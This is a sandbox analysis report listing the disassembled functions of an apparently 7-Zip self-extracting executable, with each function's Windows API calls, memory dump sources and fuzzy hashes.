Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction ID: f12f3cbfd9e378c4fb4e9f7b852960855991058b71a72fc1bb9c774fc2295476
Opcode Fuzzy Hash: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
Instruction Fuzzy Hash: 2CB18071900204EFCF15EFA5C8849EEB7B5FF44304B20852BF812A72A1DB78E945CB59

Function 00402017 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
DispatchMessageW.USER32(?), ref: 00402069
KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079

Strings

Static, xrefs: 0040203A

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: MessageTimer$CallbackCreateDispatchDispatcherHandleKillModuleUserWindow
String ID: Static
API String ID: 2479445380-2272013587
Opcode ID: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction ID: 2d78b022e2fbb31551ae1a24c66cabd830678dfcab2333de03de12e069c17b52
Opcode Fuzzy Hash: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
Instruction Fuzzy Hash: 2BF062325472217BCA312BA69C4DEEF3E2DEF46BB1F004260F619A11D1DAB94111C6BA

Function 00414491 Relevance: 12.6, APIs: 8, Instructions: 565
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000018,00000000,?,00000000,?), ref: 00414501
??2@YAPAXI@Z.MSVCRT(00000028,00000000,00000000,?,00000000,?), ref: 0041454B

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction ID: b54dbc60db56bc1e6d6afd4c66008574e1cbac59b919e387d83e05da41c529ad
Opcode Fuzzy Hash: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
Instruction Fuzzy Hash: 89321271900249DFCB14DFA5C8848EEBBB5BF88308B14456EF9169B351CB39E985CF98

Function 004039E7 Relevance: 10.6, APIs: 7, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

memcpy.MSVCRT(-00000001,00401A74,?,?,?,?,?,00401A74,?), ref: 00403AC2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00401A74,?), ref: 00403AFF
??3@YAXPAX@Z.MSVCRT(?,00000001,0000000C,00401A74,00401A74,?,?,?,?,00401A74,?), ref: 00403B45

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@$FileTime$??2@AttributesSystemlstrlenmemcpy
String ID:
API String ID: 846840743-0
Opcode ID: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction ID: 952cd346550c55d7e35c26256f51fad4d5ed31c9206aabe41908170679320093
Opcode Fuzzy Hash: 61fbb82b866355ca103b6651924008aad8ffda89ca2a341e34f636fd10af957e
Instruction Fuzzy Hash: 4141E836A00112AADB20AF59C841ABF7B7CEB4170AF50413BEC81B21D1D77D5A4286DD

Function 004053B2 Relevance: 10.6, APIs: 7, Instructions: 78
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 004053D6
??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,?,?), ref: 0040542F
??3@YAXPAX@Z.MSVCRT(00000002,?), ref: 00405437
ShellExecuteExW.SHELL32(?), ref: 00405455
WaitForSingleObject.KERNEL32(004071CC,000000FF), ref: 0040546D
CloseHandle.KERNEL32(004071CC), ref: 00405476
??3@YAXPAX@Z.MSVCRT(?), ref: 0040547D

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@$CloseExecuteHandleObjectShellSingleWaitmemset
String ID:
API String ID: 2700081640-0
Opcode ID: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction ID: a17db50f12ff5cb4ace43bc03755f74cf1bf378a7c310b81d7eb3e61b1d8450d
Opcode Fuzzy Hash: a85339e1bd803a9382c8719e0269a721a92dd258667116cddf8bfe46f874b10c
Instruction Fuzzy Hash: 3D212B71804208ABDB119FD5D885AEFBBB8EF44319F10812BE915B61A1D7785985CF84

Function 00401E6B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(a:@,00000000,-00000001,00403A61,?,00401A74,?,?,?,?,00401A74,?), ref: 00401E72
GetLastError.KERNEL32(?,?,?,?,00401A74,?), ref: 00401E7C
SetLastError.KERNEL32(000000B7,?,?,?,?,00401A74,?), ref: 00401E8C
GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00401E9A

Strings

a:@, xrefs: 00401E6E

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID: a:@
API String ID: 635176117-3844204524
Opcode ID: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction ID: 62bb911204df67689409a0bf299a5fa733f048eefc6419992ca9e78119752425
Opcode Fuzzy Hash: 2870007de936e2cd6bf86a77b59755239ded30d6049a6d438da8b23bd184778b
Instruction Fuzzy Hash: 0CE09A3494A210BFEB212B24FC087DF3B549F01321F608A36FC19E21F0C3388852868A

Function 00416891 Relevance: 7.6, APIs: 5, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(00000000,?,00000020,00010000), ref: 004168E8
memmove.MSVCRT(00000000,?,00000020,?,00010000), ref: 0041697F
??3@YAXPAX@Z.MSVCRT(00000000), ref: 0041698B

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@memcpymemmove
String ID:
API String ID: 3549172513-0
Opcode ID: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction ID: 6694c7cce515cef0b0cd55d5e6bb9cb7435d9f647c4cb47c4d4af15ebe31c866
Opcode Fuzzy Hash: 85b00a1da2e75e8d58eb8ba0f360279bf7837f3aab605fd12771fdc2f3034734
Instruction Fuzzy Hash: 2D41CEB1A10204ABDB20DE65C941BFFB7B9EF44704F16446EE845A7241D738EE81CBA9

Function 00404D0B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32(00000000,?,?), ref: 00404D17

Part of subcall function 00402427: GetUserDefaultUILanguage.KERNEL32(00404D27,?,?), ref: 00402431

Part of subcall function 0040247D: GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
Part of subcall function 0040247D: wsprintfW.USER32 ref: 004024DD
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 004024F7
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
Part of subcall function 0040247D: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
Part of subcall function 0040247D: GetLastError.KERNEL32 ref: 0040252C
Part of subcall function 0040247D: lstrcmpiW.KERNEL32(00ABA1E8,?), ref: 00402541
Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(00ABA1E8), ref: 00402551
Part of subcall function 0040247D: SetLastError.KERNEL32(00000003), ref: 00402578
Part of subcall function 0040247D: lstrlenA.KERNEL32(0041B328), ref: 004025AC
Part of subcall function 0040247D: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
Part of subcall function 0040247D: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9

Part of subcall function 0040247D: ??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
Part of subcall function 0040247D: _wtol.MSVCRT ref: 0040260A
Part of subcall function 0040247D: MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,00ABA1E8,00000002), ref: 0040262A

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404D9D
wsprintfW.USER32 ref: 00404DB8

Part of subcall function 004035CF: ??2@YAPAXI@Z.MSVCRT(00000018,?,00405789,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 004035D4

Strings

7zSfxFolder%02d, xrefs: 00404DB2

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ErrorLast$??2@$??3@EnvironmentVariablewsprintf$ByteCharDefaultFolderInfoLanguageLocaleMultiPathSpecialUserWide_wtollstrcmpilstrlen
String ID: 7zSfxFolder%02d
API String ID: 3387708999-2820892521
Opcode ID: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction ID: 1fdf757244b44e0294be47ca2d8d1062c2b35c8cdb495cdfc6011dfc87a7cf41
Opcode Fuzzy Hash: d34a03c5dd54725b1acb63832af8b25ea8c8f143a98a30686e2398e18eee94ac
Instruction Fuzzy Hash: 8F317CB1A112089ECB11FFB2DD8AEEE7BA8AF44305F00403FA559A61E1EB784545CB59

Function 0040B2B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2C3
memmove.MSVCRT(00000000,?,?), ref: 0040B2E0
??3@YAXPAX@Z.MSVCRT(?,?,?,?,004168E1,00010000), ref: 0040B2F1

Strings

hA, xrefs: 0040B2B2

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??2@??3@memmove
String ID: hA
API String ID: 3828600508-1221461045
Opcode ID: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction ID: d87302abea443053d5760b5c6252bf4bae7be4f47644660215ecec497c7fda62
Opcode Fuzzy Hash: bc9196dac32aa623d13a183dec5295da8b1281fe9b3a0aa3bad5d2b53f65af72
Instruction Fuzzy Hash: BEF0B4B66006005BC2209B1B9C9485BB7E9EFC9700704887FE92ED3700D334FC54C6AE

Function 00402EE4 Relevance: 6.4, APIs: 5, Instructions: 118
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F16
lstrlenA.KERNEL32(?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402F1E
memcmp.MSVCRT(00000000,?,?), ref: 00402F84
memcmp.MSVCRT(00000000,?,?,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FC1
memmove.MSVCRT(?,?,00000000,?,00404004,0041EA30,?,?,0040618A,00000000,00000000,?,?,?,00000000,?), ref: 00402FF3

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: lstrlenmemcmp$memmove
String ID:
API String ID: 3251180759-0
Opcode ID: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction ID: 79ec95c0005fca4e8b411a1d1c8c43267f3aca6e0e8108953f5cc2358a2b563c
Opcode Fuzzy Hash: 6bc55519efb0b0d7bcd01b07c395372ad45836126fbb7a8d58e6edc0d1d2ad79
Instruction Fuzzy Hash: 9B417072D0120AAFCF01DFA4C9849EEBFB9EF48384F0444AAE805B3245D3759E85DB55

Function 004019D2 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,0041E9E8,ExecuteFile,00000028,00000028,?,00406D79,?,0041E9E8,0041E9E8), ref: 004019DF
??2@YAPAXI@Z.MSVCRT(0000000C), ref: 00401A23
??2@YAPAXI@Z.MSVCRT(00000044), ref: 00401A7B

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Strings

ExecuteFile, xrefs: 004019D7

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??2@$FormatMessagelstrcpylstrlen$??3@ErrorFreeLastLocalwvsprintf
String ID: ExecuteFile
API String ID: 1592922708-323923146
Opcode ID: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction ID: c177ff4ec49e1bf3251047196a645ec591425be599670d09217b52daf662347d
Opcode Fuzzy Hash: 9ac5554e1c21d9026da9657adf3441f6da01eba3c8fc77f1622ea7b0805a4649
Instruction Fuzzy Hash: 3D31A075701204BFCB10DBA6CC85DAF77A9EF85314724486FF405EB2A1DA789D80CB69

Function 00401880 Relevance: 6.1, APIs: 4, Instructions: 100
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,0040133C,00000000,00000000,?), ref: 004018C4
WaitForSingleObject.KERNEL32(000000FF,?,00401AE1,?,?), ref: 004018E5

Part of subcall function 00409606: wvsprintfW.USER32(?,00000000,?), ref: 0040962A
Part of subcall function 00409606: GetLastError.KERNEL32 ref: 0040963B
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,004072DC), ref: 00409663
Part of subcall function 00409606: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,004072DC), ref: 00409678
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 0040968B
Part of subcall function 00409606: lstrlenW.KERNEL32(?), ref: 00409692
Part of subcall function 00409606: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004096A7
Part of subcall function 00409606: lstrcpyW.KERNEL32(00000000,?), ref: 004096BD
Part of subcall function 00409606: lstrcpyW.KERNEL32(-00000002,?), ref: 004096CE
Part of subcall function 00409606: ??3@YAXPAX@Z.MSVCRT(00000000,00000000), ref: 004096D7
Part of subcall function 00409606: LocalFree.KERNEL32(?), ref: 004096E1

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@CreateErrorFreeLastLocalObjectSingleThreadWaitwvsprintf
String ID:
API String ID: 359084233-0
Opcode ID: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction ID: 75a92c2673557d9aa231ca5611e15780e437056db76e39d6c0de200791827833
Opcode Fuzzy Hash: 319690abfe6fd779aaf84523b8fe0746c993e0633f498ebd4a0fa4e94ee787c6
Instruction Fuzzy Hash: 143124F5640200BAEB315B16DC55ABB3769EB84350F24813BF905FA2F0C6788981D72E

Function 00414DCF Relevance: 4.9, APIs: 3, Instructions: 410
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00414DD8
??2@YAPAXI@Z.MSVCRT(00000038,00000001), ref: 00414F76
??2@YAPAXI@Z.MSVCRT(00000038,00000000,00000001), ref: 00415049

Part of subcall function 00415346: ??2@YAPAXI@Z.MSVCRT(00000020,?,00000000,?,0041505A,00000000,00000001), ref: 0041536E

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??2@$H_prolog
String ID:
API String ID: 3431946709-0
Opcode ID: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction ID: 05c66da844a657c6192dd0360cb768692f443836589bcaaccfb39479f9247554
Opcode Fuzzy Hash: 04c58f70b3ae3af4a81f86ac04d094f81de620dd4ea7d6dbb38bc93096a2a0a8
Instruction Fuzzy Hash: 5AF12871600609DFCB14DF69C884AEE7BB4BF88314F14415AF8199B351DB39ED82CB98

Function 00403F89 Relevance: 4.7, APIs: 3, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 00402665: LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
Part of subcall function 00402665: GetProcAddress.KERNEL32(00000000), ref: 0040267C
Part of subcall function 00402665: GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A

??3@YAXPAX@Z.MSVCRT(0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404117
??3@YAXPAX@Z.MSVCRT(?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 0040411F
??3@YAXPAX@Z.MSVCRT(?,?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404127

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@$AddressInfoLibraryLoadNativeProcSystem
String ID:
API String ID: 1642057587-0
Opcode ID: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction ID: 9e508ec73b50e54c44e6a1cbebbe2d332481b03b5bec8f58460c8bd0d041dc66
Opcode Fuzzy Hash: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction Fuzzy Hash: 9B515AB2D00109AACF01EFD1CD859FEBB7AAF48308F04442AF611B21D1D7799A4ADB59

Function 00415EEA Relevance: 4.6, APIs: 3, Instructions: 114COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415EEF

Part of subcall function 00418390: _EH_prolog.MSVCRT ref: 00418395

??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00415F9F
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00415FDE

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@H_prolog
String ID:
API String ID: 1329742358-0
Opcode ID: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction ID: ee2028b182a3def668edec6c1c55fa530388cf6d31d76bb4d9d5585ab1c54ad5
Opcode Fuzzy Hash: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction Fuzzy Hash: 3C414E3160020ADFCB11DFA5C895AEEBBB8EF84304F14446EF406A7251DB79AD86CB15

Function 004029C5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 004029E9

Strings

@, xrefs: 004029DC

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

